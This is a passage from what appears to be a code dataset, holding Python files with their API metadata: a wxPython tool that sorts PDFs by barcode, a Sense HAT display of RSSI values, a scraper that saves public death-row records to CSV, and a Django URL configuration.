5)\n\t\t\n\t\tself.save_btn = wx.Button(self.recognition_pane, wx.ID_ANY, _(\"Save\"))\n\t\tself.save_btn.SetBackgroundColour(wx.Colour(70, 212, 110))\n\t\tself.save_btn.SetForegroundColour(wx.Colour(9, 40, 88))\n\t\tself.save_btn.SetFont(wx.Font(11, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, 0, \"\"))\n\t\thbox_save.Add(self.save_btn, 0, wx.ALIGN_BOTTOM | wx.ALL, 5)\n\t\t\n\t\tself.recognition_pane.SetSizer(vbox_recognition)\n\t\t\n\t\thbox_preview.AddGrowableRow(0)\n\t\thbox_preview.AddGrowableCol(0)\n\t\tself.preview_pane.SetSizer(hbox_preview)\n\t\t\n\t\tself.splitter_window.SplitVertically(self.preview_pane, self.recognition_pane)\n\t\t\n\t\tself.sizer_1.AddGrowableRow(0)\n\t\tself.sizer_1.AddGrowableCol(0)\n\t\tself.SetSizer(self.sizer_1)\n\t\tself.sizer_1.Fit(self)\n\t\tself.sizer_1.SetSizeHints(self)\n\t\t\n\t\tif config.get('language') != 'he':\n\t\t\tself.SetLayoutDirection(wx.Layout_LeftToRight)\n\t\t\n\t\tself.Layout()\n\t\tself.Centre()\n\t\t\n\t\t# buttons Binds\n\t\tself.Bind(wx.EVT_BUTTON, self.test, self.start_btn)\n\t\tself.Bind(wx.EVT_BUTTON, self.test, self.save_btn)\n\t\tself.Bind(wx.EVT_SIZING, self.resize_preview_pane)\n\t\tself.Bind(wx.EVT_LIST_ITEM_SELECTED, self.recognized_list_event, self.list_recognized)\n\t\tself.Bind(wx.EVT_LIST_ITEM_SELECTED, self.not_recognized_list_event, self.list_not_recognized)\n\t\tself.Bind(wx.EVT_LIST_ITEM_SELECTED, self.selection_list_event, self.list_selection)\n\t\tself.Bind(wx.EVT_LIST_ITEM_RIGHT_CLICK, self.not_recognized_click, self.list_not_recognized)\n\t\tself.Bind(wx.EVT_LIST_ITEM_RIGHT_CLICK, self.selected_click, self.list_selection)\n\t\n\t# end wxGlade\n\tdef not_recognized_list_event(self, event):\n\t\tname = self.list_not_recognized.GetItemText(event.GetIndex())\n\t\tself.preview_pdf(\"pdf/not_recognized/{}.pdf\".format(name))\n\t\n\tdef recognized_list_event(self, event):\n\t\tname = self.list_recognized.GetItemText(event.GetIndex())\n\t\tself.preview_pdf(\"pdf/recognized/{}.pdf\".format(name))\n\t\tself.txt_name.Clear()\n\t\tself.txt_name.WriteText(str(name))\n\t\n\tdef selection_list_event(self, event):\n\t\tname = self.list_selection.GetItemText(event.GetIndex())\n\t\tself.preview_pdf(\"pdf/not_recognized/{}.pdf\".format(name))\n\t\n\tdef not_recognized_click(self, event):\n\t\ttext = self.list_not_recognized.GetItemText(event.GetIndex())\n\t\tself.list_not_recognized.DeleteItem(event.GetIndex())\n\t\tself.list_selection.InsertItem(event.GetIndex(), text)\n\t\n\tdef selected_click(self, event):\n\t\ttext = self.list_selection.GetItemText(event.GetIndex())\n\t\tself.list_selection.DeleteItem(event.GetIndex())\n\t\tself.list_not_recognized.InsertItem(event.GetIndex(), text)\n\t\t\n\tdef test(self, event):\n\t\tself.start_btn.Disable()\n\t\tself.list_not_recognized.DeleteAllItems()\n\t\tself.list_recognized.DeleteAllItems()\n\t\tthread1 = threading.Thread(target=self.start)\n\t\tthread1.start()\n\t\n\tdef resize_preview_pane(self, event):\n\t\tself.preview_image_size = self.preview_pane.GetSize()\n\t\n\tdef preview_pdf(self, pdf):\n\t\tdoc = fitz.open(pdf)\n\t\tprint(doc.page_count)\n\t\tpix = doc[0].get_pixmap()\n\t\tif pix.alpha:\n\t\t\tbitmap = wx.Bitmap.FromBufferRGBA(pix.width, pix.height, pix.samples)\n\t\telse:\n\t\t\tbitmap = wx.Bitmap.FromBuffer(pix.width, pix.height, pix.samples)\n\t\tx, y = self.preview_image_size\n\t\tbitmap = self.scale_bitmap(bitmap, x, y)\n\t\tself.image_preview.SetBitmap(bitmap)\n\t\tself.image_preview.Layout()\n\t\tprint(\"preview pdf\")\n\t\t\n\tdef preview_image(self):\n\t\timage = wx.Image(self.preview_image_path)\n\t\tbmp = wx.Bitmap(image)\n\t\tx, y = self.preview_image_size\n\t\tbmp = self.scale_bitmap(bmp, x, y)\n\t\tself.image_preview.SetBitmap(wx.Bitmap(bmp))\n\t\tself.image_preview.Layout()\n\t\n\t@staticmethod\n\tdef scale_bitmap(bitmap, width, height):\n\t\timage = wx.Bitmap.ConvertToImage(bitmap)\n\t\timage = image.Scale(width, height, wx.IMAGE_QUALITY_HIGH)\n\t\tresult = wx.Bitmap(image)\n\t\treturn result\n\t\n\t@staticmethod\n\tdef decode_barcodes(image):\n\t\tregex = re.compile(config['regex'])\n\t\timg = cv2.imread(image)\n\t\tdecoded = pyzbar.decode(img)\n\t\tfor bar in decoded:\n\t\t\tbarcode_data = bar.data.decode(\"utf-8\")\n\t\t\tif regex.match(barcode_data):\n\t\t\t\treturn barcode_data\n\t\treturn None\n\t\n\tdef get_pdf_barcodes(self, pdf_file):\n\t\twith tempfile.TemporaryDirectory() as path:\n\t\t\timages = convert_from_path(pdf_file, dpi=600, fmt=\"jpeg\", paths_only=True, thread_count=4, output_folder=path, poppler_path=poppler_path)\n\t\t\tfor image in images:\n\t\t\t\tfound = self.decode_barcodes(image)\n\t\t\t\tif found is not None:\n\t\t\t\t\treturn found\n\t\treturn\n\t\n\tdef start(self):\n\t\tfrom glob import glob\n\t\t\n\t\tpdf_files = glob(config['input_folder'] + \"\\\\*.pdf\")\n\t\tnot_recognized_folder = config['input_folder'] + \"\\\\not_recognized\"\n\t\trecognized_folder = config['input_folder'] + \"\\\\recognized\"\n\t\tPath(not_recognized_folder).mkdir(parents=True, exist_ok=True)\n\t\tPath(recognized_folder).mkdir(parents=True, exist_ok=True)\n\t\tPath(config['output_folder']).mkdir(parents=True, exist_ok=True)\n\t\t\n\t\tguage_length = len(pdf_files)\n\t\tprint(guage_length)\n\t\tself.progress_gauge.SetRange(guage_length)\n\t\tprogress = 0\n\t\trecognized = 0\n\t\tnot_recognized = 0\n\t\tfor pdf in pdf_files:\n\t\t\tprogress += 1\n\t\t\tnow = datetime.now()\n\t\t\tdate_time = now.strftime(\"%d%m%y_%H_%M_%S\")\n\t\t\tnew_name = '{}.pdf'.format(date_time)\n\t\t\t\n\t\t\tbarcode = self.get_pdf_barcodes(pdf)\n\t\t\tif barcode is not None:\n\t\t\t\tprint(pdf, \" \", barcode)\n\t\t\t\tnew_name = '{}.pdf'.format(barcode)\n\t\t\t\t# copyfile(pdf, join(recognized_folder, new_name))\n\t\t\t\tmove(pdf, join(recognized_folder, new_name))\n\t\t\t\tself.list_recognized.InsertItem(recognized, barcode)\n\t\t\t\tprint(barcode)\n\t\t\t\trecognized += 1\n\t\t\telse:\n\t\t\t\tself.list_not_recognized.InsertItem(not_recognized, date_time)\n\t\t\t\tprint(date_time)\n\t\t\t\t# copyfile(pdf, join(not_recognized_folder, new_name))\n\t\t\t\tmove(pdf, join(not_recognized_folder, new_name))\n\t\t\t\tnot_recognized += 1\n\t\t\t\n\t\t\tself.progress_gauge.SetValue(progress)\n\t\tself.start_btn.Enable()\n\n# end of class MainFrame\n", "repo_name": "Gchaimke/PdfBarcode", "sub_path": "MainFrame.py", "file_name": "MainFrame.py", "file_ext": "py", "file_size_in_byte": 10532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "configparser.ConfigParser", "line_number": 17, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 43, "usage_type": "attribute"}, {"api_name": "gettext.translation", "line_number": 47, "usage_type": "call"}, {"api_name": "wx.DEFAULT_FRAME_STYLE", "line_number": 52, "usage_type": "attribute"}, {"api_name": "wx.FULL_REPAINT_ON_RESIZE", "line_number": 52, "usage_type": "attribute"}, {"api_name": "wx.Frame.__init__", "line_number": 53, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 53, "usage_type": "attribute"}, {"api_name": "wx.NullIcon", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.Bitmap", "line_number": 56, "usage_type": "call"}, {"api_name": "wx.BITMAP_TYPE_ANY", "line_number": 56, "usage_type": "attribute"}, {"api_name": "wx.MenuBar", "line_number": 60, "usage_type": "call"}, {"api_name": "wx.Menu", "line_number": 61, "usage_type": "call"}, {"api_name": "wx.GridBagSizer", "line_number": 66, "usage_type": "call"}, {"api_name": "wx.SplitterWindow", "line_number": 69, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wx.SP_3DBORDER", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wx.SP_LIVE_UPDATE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wx.SP_PERMIT_UNSPLIT", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 72, "usage_type": "attribute"}, {"api_name": "wx.ScrolledWindow", "line_number": 74, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 74, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 74, "usage_type": "attribute"}, {"api_name": "wx.FlexGridSizer", "line_number": 77, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 79, "usage_type": "call"}, {"api_name": "wx.StaticBitmap", "line_number": 80, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 80, "usage_type": "attribute"}, {"api_name": "wx.Bitmap", "line_number": 80, "usage_type": "call"}, {"api_name": "wx.ALL", "line_number": 81, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 81, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 83, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 83, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 85, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 85, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 87, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 87, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 88, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 90, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 90, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 92, "usage_type": "call"}, {"api_name": "wx.Colour", "line_number": 93, "usage_type": "call"}, {"api_name": "wx.Font", "line_number": 94, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 94, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 94, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 94, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER_HORIZONTAL", "line_number": 96, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 96, "usage_type": "attribute"}, {"api_name": "wx.Gauge", "line_number": 98, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 98, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 101, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 101, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 102, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 102, "usage_type": "attribute"}, {"api_name": "wx.ListCtrl", "line_number": 104, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.FULL_REPAINT_ON_RESIZE", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.LC_HRULES", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.LC_VRULES", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 105, "usage_type": "call"}, {"api_name": "wx.LIST_FORMAT_LEFT", "line_number": 106, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.ListCtrl", "line_number": 109, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.LC_HRULES", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.LC_VRULES", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 110, "usage_type": "call"}, {"api_name": "wx.LIST_FORMAT_LEFT", "line_number": 111, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 112, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 112, "usage_type": "attribute"}, {"api_name": "wx.ListCtrl", "line_number": 114, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.LC_HRULES", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.LC_VRULES", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.LIST_FORMAT_LEFT", "line_number": 115, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 118, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 118, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 119, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 119, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 121, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_BOTTOM", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 124, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 125, "usage_type": "call"}, {"api_name": "wx.Colour", "line_number": 126, "usage_type": "call"}, {"api_name": "wx.Font", "line_number": 127, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_BOTTOM", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.Layout_LeftToRight", "line_number": 145, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 151, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 152, "usage_type": "attribute"}, {"api_name": "wx.EVT_SIZING", "line_number": 153, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_SELECTED", "line_number": 154, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_SELECTED", "line_number": 155, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_SELECTED", "line_number": 156, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_RIGHT_CLICK", "line_number": 157, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_RIGHT_CLICK", "line_number": 158, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 189, "usage_type": "call"}, {"api_name": "fitz.open", "line_number": 196, "usage_type": "call"}, {"api_name": "wx.Bitmap.FromBufferRGBA", "line_number": 200, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 200, "usage_type": "attribute"}, {"api_name": "wx.Bitmap.FromBuffer", "line_number": 202, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 202, "usage_type": "attribute"}, {"api_name": "wx.Image", "line_number": 210, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 211, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 214, "usage_type": "call"}, {"api_name": "wx.Bitmap.ConvertToImage", "line_number": 219, "usage_type": "call"}, {"api_name": "wx.Bitmap", "line_number": 219, "usage_type": "attribute"}, {"api_name": "wx.IMAGE_QUALITY_HIGH", "line_number": 220, "usage_type": "attribute"}, {"api_name": "wx.Bitmap", "line_number": 221, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 226, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 227, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar.decode", "line_number": 228, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar", "line_number": 228, "usage_type": "name"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 236, "usage_type": "call"}, {"api_name": "pdf2image.convert_from_path", "line_number": 237, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 247, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 250, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 251, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 252, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 262, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 262, "usage_type": "name"}, {"api_name": "shutil.move", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 271, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 279, "usage_type": "call"}]}
{"seq_id": "6955521664", "text": "import asyncio\nimport time\nfrom sense_hat import SenseHat\n\n\nsense = SenseHat()\n\n\ndef display_n_tiles(r, g, b, n = 64):\n    # Display n tiles together at once\n    if n > 64:\n        n = 64\n    pixels = [[r, g, b] if i < n else [0, 0, 0] for i in range(64) ]\n    sense.set_pixels(pixels)\n\ndef display_color(r, g, b):\n    print(\"Displaying color: \", r, g, b)\n    sense.clear((r, g, b))\n\n\n# If new RSSI line is added to the CSV file in the past 3 seconds, display the color based on the average of last 3 RSSI value\n# Otherwise, display black\nasync def display_rssi():\n    n = 3\n    # Reduce the brightness of the LEDs\n    sense.low_light = True\n    # Read the last 3 lines of the CSV file\n    with open(\"IMU/rssi.csv\", mode = \"r\") as f:\n        lines = f.readlines()\n        lines_of_data = len(lines) - 1\n        if len(lines) < 2:\n            sense.clear()\n            return\n        last_3_lines = lines[-min(lines_of_data, n):]\n        # Get the last 3 RSSI values\n        last_3_rssi = [float(line.split(\",\")[3]) for line in last_3_lines]\n        # If the last RSSI value is added to the CSV file in the past 3 seconds, display the color based on the average of last 3 RSSI value\n        if time.time() - float(last_3_lines[0].split(\",\")[0]) < 2:\n            avg_rssi = sum(last_3_rssi) / len(last_3_rssi)\n            # Display RSSI value within range (-75, -25) as color from (255, 0, 0) to (255, 255, 0)\n            # Display RSSI value within range (-25, 0) as color from (255, 255, 0) to (0, 255, 0)\n            if -75 > avg_rssi:\n                r, g, b = 0, 0, 0\n            elif -75 < avg_rssi <= -50:\n                r = 255\n                g = min(int(255 * (avg_rssi + 75) / 50), 255)\n                b = 0\n            elif -50 < avg_rssi:\n                r = min(int(255 * (-1 * avg_rssi) / 25), 255)\n                g = 255\n                b = 0\n            display_n_tiles(r, g, b, max(avg_rssi + 75, 0))\n        else:\n            sense.clear()\n\n\nasync def display_rssi_color_loop(collection_time: int):\n    start = time.time()\n    while (time.time() - start) < collection_time:\n        await display_rssi()\n\n\ndef display_rssi_color(collection_time: int):\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(display_rssi_color_loop(collection_time))\n", "repo_name": "xiongdawei/CS437", "sub_path": "lab3/color_display.py", "file_name": "color_display.py", "file_ext": "py", "file_size_in_byte": 2277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sense_hat.SenseHat", "line_number": 6, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "39442775403", "text": "import urllib.request\r\nfrom bs4 import BeautifulSoup\r\nimport csv\r\nimport time\r\n\r\n\r\ndef run():\r\n    #  get the webpage with the prisoner data\r\n    uri = 'http://www.tdcj.state.tx.us/death_row/dr_executed_offenders.html'\r\n\r\n    f = csv.writer(open(\"Death Row Data\" + \".csv\", \"w\", newline=''), dialect='excel')\r\n\r\n    # Write column headers as the first line\r\n    f.writerow([\"Last Statement\", \"Last Name\", \"First Name\", \"TDCJ Num\", \"Age\", \"Date\", \"Race\", \"County\"])\r\n\r\n    urllines = urllib.request.urlopen(uri)\r\n    pagedat = urllines.read()\r\n    urllines.close()\r\n    soup = BeautifulSoup(pagedat)\r\n    allrows = soup.find_all(\"tr\")\r\n    suburi = uri[:38]\r\n    for row in allrows:\r\n        tds = row.find_all(\"td\")\r\n        try:\r\n            links = row.find_all('a')\r\n            link = links[1].get('href')\r\n            LSLink = suburi+link\r\n            urllines2 = urllib.request.urlopen(LSLink)\r\n            pagedat2 = urllines2.read()\r\n            urllines2.close()\r\n            soup2 = BeautifulSoup(pagedat2)\r\n            par = soup2.find_all(\"p\")\r\n            for i in range(1, (len(par)-1)):\r\n                if 'Last Statement:' in par[i].get_text():\r\n                    LS = str(par[i+1].get_text())\r\n                    LS = LS.replace('\\x92s', '')\r\n                    LS = LS.replace('\\xa0', '')\r\n\r\n            LN = str(tds[3].get_text())\r\n            FN = str(tds[4].get_text())\r\n            TDCJ = str(tds[5].get_text())\r\n            Age = str(tds[6].get_text())\r\n            Date = str(tds[7].get_text())\r\n            Race = str(tds[8].get_text())\r\n            County = str(tds[9].get_text())\r\n            print(\"good string\")\r\n        except Exception:\r\n            print(\"bad string\")\r\n            time.sleep(.1)\r\n            continue\r\n        #  print [LS, LN, FN, TDCJ, Age, Date, Race, County]\r\n        f.writerow([LS, LN, FN, TDCJ, Age, Date, Race, County])\r\n        LS = ''\r\n\r\nif __name__ == \"__main__\":\r\n    run()\r\n    print(\"job complete!\")\r\n", "repo_name": "MattScicluna/Death-Row", "sub_path": "src/deathrowinfo.py", "file_name": "deathrowinfo.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.writer", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 16, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 16, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 16, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 28, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 28, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 28, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "33160638242", "text": "from django.urls import path\nfrom django.contrib import admin\nfrom . import views\nfrom search.views import SearchView\nfrom Assets.views import (\n    PostListWelcomeView,\n    PostAntiCorruptView,\n    SearchCCBView,\n    SearchCCBRegView,\n    PostCCBView,\n    PostCCBCreateView,\n    PostCCBDetailView,\n    PostCCBCreateRegisterView,\n    PostCCBRegView,\n    SearchEFCCView,\n    SearchEFCCRegView,\n    PostEFCCView,\n    PostEFCCCreateView,\n    PostEFCCDetailView,\n    PostEFCCCreateRegisterView,\n    PostEFCCRegView,\n    SearchICPCView,\n    SearchICPCRegView,\n    PostICPCView,\n    PostICPCCreateView,\n    PostICPCDetailView,\n    PostICPCCreateRegisterView,\n    PostICPCRegView,\n    PostPresidentView,\n    PostMinistriesView,\n    PostPoliticalView,\n    PostUncategorizedView,\n    PostDepView,\n\n)\n\nurlpatterns = [\n    path('', PostListWelcomeView.as_view(), name='Assets-welcome'),\n    path('upload', views.upload, name='upload'),\n    path('anti', PostAntiCorruptView.as_view(), name='anti'),\n    path('search', SearchView.as_view(), name='search'),\n    path('searchccb/', SearchCCBView.as_view(), name='searchccb'),\n    path('searchccbreg/', SearchCCBRegView.as_view(), name='searchccbreg'),\n    path('displayccb/', PostCCBView.as_view(), name='displayccb'),\n    path('ccbPost/new/', PostCCBCreateView.as_view(), name='postccb-create'),\n    path('ccb/<int:pk>/', PostCCBDetailView.as_view(), name='ccbpost-detail'),\n    path('ccbPostreg/new/', PostCCBCreateRegisterView.as_view(), name='ccbpostreg-detail'),\n    path('displayccbreg/', PostCCBRegView.as_view(), name='displayccbreg'),\n    path('searchefcc/', SearchEFCCView.as_view(), name='searchefcc'),\n    path('searchefccreg/', SearchEFCCRegView.as_view(), name='searchefccreg'),\n    path('displayefcc/', PostEFCCView.as_view(), name='displayefcc'),\n    path('efccPost/new/', PostEFCCCreateView.as_view(), name='postefcc-create'),\n    path('efcc/<int:pk>/', PostEFCCDetailView.as_view(), name='efccpost-detail'),\n    path('efccPostreg/new/', PostEFCCCreateRegisterView.as_view(), name='efccpostreg-detail'),\n    path('displayefccreg/', PostEFCCRegView.as_view(), name='displayefccreg'),\n    path('searchicpc/', SearchICPCView.as_view(), name='searchicpc'),\n    path('searchicpcreg/', SearchICPCRegView.as_view(), name='searchicpcreg'),\n    path('displayicpc/', PostICPCView.as_view(), name='displayicpc'),\n    path('icpcPost/new/', PostICPCCreateView.as_view(), name='posticpc-create'),\n    path('icpc/<int:pk>/', PostICPCDetailView.as_view(), name='icpcpost-detail'),\n    path('icpcPostreg/new/', PostICPCCreateRegisterView.as_view(), name='icpcpostreg-detail'),\n    path('displayicpcreg/', PostICPCRegView.as_view(), name='displayicpcreg'),\n    path('pres', PostPresidentView.as_view(), name='pres'),\n    path('min', PostMinistriesView.as_view(), name='min'),\n    path('pol', PostPoliticalView.as_view(), name='pol'),\n    path('uncat', PostUncategorizedView.as_view(), name='uncat'),\n    path('dep', PostDepView.as_view(), name='dep'),\n]", "repo_name": "KiziUgo/CodeOfConduct", "sub_path": "Assets/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "Assets.views.PostListWelcomeView.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "Assets.views.PostListWelcomeView", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "Assets.views.PostAntiCorruptView.as_view", "line_number": 40, "usage_type": "call"}, {"api_name": "Assets.views.PostAntiCorruptView", "line_number": 40, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "search.views.SearchView.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "search.views.SearchView", "line_number": 41, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "Assets.views.SearchCCBView.as_view", "line_number": 42, "usage_type": "call"}, {"api_name": "Assets.views.SearchCCBView", "line_number": 42, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "Assets.views.SearchCCBRegView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "Assets.views.SearchCCBRegView", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBView.as_view", "line_number": 44, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBView", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBCreateView.as_view", "line_number": 45, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBCreateView", "line_number": 45, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBDetailView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBDetailView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBCreateRegisterView.as_view", "line_number": 47, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBCreateRegisterView", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBRegView.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "Assets.views.PostCCBRegView", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "Assets.views.SearchEFCCView.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "Assets.views.SearchEFCCView", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "Assets.views.SearchEFCCRegView.as_view", "line_number": 50, "usage_type": "call"}, {"api_name": 